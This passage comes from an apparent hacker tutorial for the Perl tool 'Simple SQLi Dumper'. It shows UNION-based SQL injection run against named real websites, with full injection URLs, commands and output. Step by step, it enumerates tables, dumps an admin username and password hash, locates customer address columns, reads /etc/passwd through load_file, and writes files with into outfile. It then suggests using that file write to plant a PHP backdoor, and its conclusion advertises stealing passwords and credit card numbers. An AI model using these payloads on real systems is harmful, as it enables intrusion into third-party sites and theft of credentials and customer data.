[+] SQLi End Tag: –
[+] Database Name: database()
[+] Number of Tables: 18
Showing tables …
[1] aspect_ratio(2)
[2] audio_format(3)
[3] category(7)
[4] customer(200)
[5] deposit(11)
[6] discount_group(9)
[7] discount_group_price(10)
[8] order()
[9] order_item(261)
[10] order_source(5)
[11] order_status(4)
[12] order_type(2)
[13] payment_type(4)
[14] product(30)
[15] product_group(17)
[16] security(1)
[17] shopping_cart(0)
[18] user_session(68)
Done.
that is the list of all table in database()
[0x03] finding column
let’s see column from table called “security”.
# perl ssdp.pl -u [c0li URL] -t [table] -column
[root@evilc0de noge]# perl ssdp.pl -u http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 -t security -column
[o]=================================================[x]
| Simple SQLi Dumper v5.1 |
| Coded by Vrs-hCk |
[o]=================================================[o]
Help Command: -h, -help, –help
[+] c0li SQLi URL: http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
[+] SQLi End Tag: –
[+] Database Name: database()
[+] Table Name: security
[+] Number of Columns: 5
Showing columns from table “security” …
[+] security(1): user_id,username,password,admin,last_login
Done.
aha! we got column called “username” and “password”.
[0x04] dumping data
now we’ll see information inside that column..
# perl ssdp.pl -u [c0li URL] -t [table] -c [column],[column] -dump
[root@evilc0de noge]# perl ssdp.pl -u http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 -t security -c username,password -dump
[o]=================================================[x]
| Simple SQLi Dumper v5.1 |
| Coded by Vrs-hCk |
[o]=================================================[o]
Help Command: -h, -help, –help
[+] c0li SQLi URL: http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
[+] SQLi End Tag: –
[+] Database Name: database()
[+] Table Name: security
[+] Column Name: username,password
[+] Data Count: 1
Dumping Data …
[1] admin : 2ec20101734c754d
Done.
we got admin username and password hash.
ok i have show you how to find magic number, table, column and dump data the column using SSDp.
[0x05] search column name (-find)
now i’ll show you how to use -find option (Search Columns Name)
i’ll try to search column with keyword “address” it require -c option (column)
# perl ssdp.pl -u [c0li URL] -d [database name] -c [keyword] -find
[root@evilc0de noge]# perl ssdp.pl -u http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 -d 460store -c address -find
[o]=================================================[x]
| Simple SQLi Dumper v5.1 |
| Coded by Vrs-hCk |
[o]=================================================[o]
Help Command: -h, -help, –help
[+] c0li SQLi URL: http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
[+] SQLi End Tag: –
[+] Database Name: 460store
[+] Column Name string to search: address
Searching for Columns Path …
[+] Columns Found:
[1] 460store.customer.email_address
[2] 460store.customer.address_line1
[3] 460store.customer.address_line2
[4] 460store.customer.address_city
[5] 460store.customer.address_state
[6] 460store.customer.address_zip
[7] 460store.customer.address_country
[8] 460store.customer.address_name
Done.
found column with word “address” on table “customer”. easy right? :p
[0x06] read & create file (read only)
now let’s see Read File (read only) & Create File (read only).
why read only? coz this function design just to test if we can read file or no. to inject, we do it manually..
as you can see at the first time we find magic number you’ll find this line.
[+] Read File “/etc/passwd” : Yes (w00t)
[+] Create File “/tmp/c0li-159.txt” : Yes (w00t)
it means we can read (load_file) the /etc/passwd file on a target also we can create file at /tmp directory.
to use load_file you need to convert the /etc/passwd into hexadecimal. http://pacenoge.org/encdec
http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,6,load_file(0x2f6574632f706173737764),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24–
the result will be like this.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
let’s create some file in /tmp directory.
http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,6,”Simple SQLi Dumper”,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+into+outfile+”/tmp/ssdp.txt”–
URL above means we write “Simple SQLi Dumper” into ssdp.txt that locate at /tmp directory.
to see if it works or no lets read /tmp/ssdp.txt using load_file function. don’t forget to convert it first.
http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,6,load_file(0x2f746d702f737364702e747874),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24–
and you will see result like this.
1 2 3 4 5 6 Simple SQLi Dumper 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
that the word we write in /tmp/ssdp.txt.
what can we do with create file vuln? we can make a php file as backdoor at the target if we know the directory path. )
[0x07] brute MySQL v4
guessing table & column for MySQL v4.
you can add your own table name & column name by editing file called tables.dict & columns.dict.
# perl ssdp.pl -u [c0li URL] -brute
[root@evilc0de noge]# perl ssdp.pl -u http://www.samra.com/product_details.php?product_id=322+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,c0li,33 -brute
[o]=================================================[x]
| Simple SQLi Dumper v5.1 |
| Coded by Vrs-hCk |
[o]=================================================[o]
Date : Sun Mar 21 19:31:42 2010
Help Command: -h, -help, –help
[+] c0li SQLi URL: http://www.samra.com/product_details.php?product_id=322+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,c0li,33
[+] SQLi End Tag: –
Finding Tables & Columns …
[1] admin_user: username,password,email,adminid,adminname,phone,
Done.
found table “admin_user”
found column “username” “password” “email” “adminid” “adminname” “phone”
[0x08] conclusion
by using SSDp, it’s very easy to find SQL injection vulnerability at certain vulnerable parameter or string.
this tool also perform SQL injection test to the vulnerable website and try to dump data from MySQL database.
you can dump data from MySQL database columns and it works nicely.
you can gather secret and confidential data such as usernames, passwords, credit card numbers and etc.
but, i suggest using this tool in a right way. okey dude?? :p